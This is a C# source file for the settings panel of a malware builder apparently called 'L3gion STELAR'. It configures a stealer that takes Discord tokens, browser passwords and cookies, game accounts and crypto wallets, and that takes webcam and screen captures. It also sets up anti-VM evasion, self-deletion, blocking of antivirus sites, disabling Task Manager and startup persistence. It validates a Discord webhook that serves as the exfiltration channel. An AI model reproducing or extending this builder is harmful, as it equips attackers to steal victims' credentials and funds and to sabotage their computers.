using legion.builder;
using sendweb;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace L3gion_STELAR
{
    public partial class General : UserControl
    {
        public static string Webhook;
        public static bool IsWebhookValid;


        public General()
        {
            InitializeComponent();
        }


        private void General_Load(object sender, EventArgs e)
        {
        }

        private void siticoneTextBox1_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();
            IsWebhookValid = false;

        }
        private void RefreshControls()
        {
            Settings.Webhook = siticoneTextBox1.Text;

            Settings.Startup = startupCheckbox.Checked;
            Settings.AntiVm = antivmCheckbox.Checked;
            Settings.Melt = HideCheckbox.Checked;
            Settings.BlockAvSites = blockavCheckbox.Checked;

            Settings.StealDiscordTokens = DiscordTokenCheckbox.Checked;
            Settings.StealPasswords = PasswordsCheckbox.Checked;
            Settings.StealCookies = CookiesCheckbox.Checked;
            Settings.StealGames = RobloxCheckbox.Checked;
            Settings.StealSystemInfo = SysinfoCheckbox.Checked;
            Settings.StealWallets = WalletCheckbox.Checked;
            Settings.TakeWebcamSnapshot = webcamCheckbox.Checked;
            Settings.TakeScreenshot = screenCheckbox.Checked;

            Settings.disableanticheck = disableCheckbox.Checked;
            Settings.DisableTskmgr = disabletaskmgrCheckbox.Checked;
            Settings.RestartPcer = restartpcCheckbox.Checked;
            Settings.SPAMTHEPCtCheck = siticoneCheckBox1.Checked;
            Settings.antiproceses = siticoneCheckBox2.Checked;

            var isWebhookValid = (Settings.Webhook.StartsWith("http://") || Settings.Webhook.StartsWith("https://")) && Settings.Webhook.Contains(".");
        }



        private async void siticoneButton1_Click(object sender, EventArgs e)
        {
            siticoneButton1.Text = "Checking...";

            if ((siticoneTextBox1.Text.StartsWith("https://") || siticoneTextBox1.Text.StartsWith("http://")) && siticoneTextBox1.Text.Contains("discord"))
            {
                try
                {

                    using (HttpClient client = new HttpClient { Timeout = TimeSpan.FromSeconds(5.0) })
                    {
                        HttpResponseMessage response = await client.GetAsync(siticoneTextBox1.Text);
                        Webhook wh = new Webhook(siticoneTextBox1.Text);
                        wh.Send("Webhook Is Working. - l3gion");
                        response.EnsureSuccessStatusCode();
                    }
                    siticoneButton1.Text = "Check Webhook";
                    //Sendin WEBHOOK MESSAGE

                    siticoneButton1.Text = "Check Webhook";
                    label1.ForeColor = Color.FromArgb(89, 125, 53);
                    label1.Text = "Valid Webhook.";
                    siticoneTextBox1.BorderColor = Color.FromArgb(89, 125, 53);
                    siticoneTextBox1.HoveredState.BorderColor = Color.FromArgb(89, 125, 53);
                    IsWebhookValid = true;
                    Webhook = siticoneTextBox1.Text;

                }
                catch
                {
                    siticoneButton1.Text = "Check Webhook";

                    label1.ForeColor = Color.FromArgb(198, 40, 40);
                    label1.Text = "Invalid Webhook.";
                    siticoneTextBox1.BorderColor = Color.FromArgb(198, 40, 40);
                    
                }
            }
            else
            {
                siticoneButton1.Text = "Check Webhook";
                label1.ForeColor = Color.FromArgb(198, 40, 40);
                label1.Text = "Invalid Webhook.";
                siticoneTextBox1.BorderColor = Color.FromArgb(198, 40, 40);
                siticoneTextBox1.HoveredState.BorderColor = Color.FromArgb(198, 40, 40);

            }
            if(siticoneTextBox1.Text.Length == 0)
            {
                siticoneButton1.Text = "Check Webhook";
                label1.ForeColor = Color.FromArgb(198, 40, 40);
                label1.Text = "Enter Webhook.";
                siticoneTextBox1.BorderColor = Color.FromArgb(198, 40, 40);
                siticoneTextBox1.HoveredState.BorderColor = Color.FromArgb(198, 40, 40);
            }
        }

        private void siticoneGroupBox3_Click(object sender, EventArgs e)
        {

        }

        private void CheckedChanged(object sender, Siticone.UI.WinForms.SiticoneCheckBox.CheckBoxAccessibleObject e)
        {
        }

        private void DiscordTokenCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }

        private void RobloxCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void MinecraftCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void WalletCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void PasswordsCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void CookiesCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void SysinfoCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void screenCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void webcamCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void startupCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            if (siticoneCheckBox1.Checked)
            {
                MessageBox.Show("Do you really want to hang pc on startup?" , "WARNING!" , MessageBoxButtons.OK ,MessageBoxIcon.Warning);
            }
            RefreshControls();

        }

        private void HideCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void blockavCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void disableCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void disabletaskmgrCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void restartpcCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void antivmCheckbox_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void siticoneCheckBox1_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();
            if (startupCheckbox.Checked)
            {
                MessageBox.Show("Do you really want to hang pc on startup?", "WARNING!", MessageBoxButtons.OK, MessageBoxIcon.Warning);
            }
        }

        private void siticoneCheckBox2_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }
    }
}
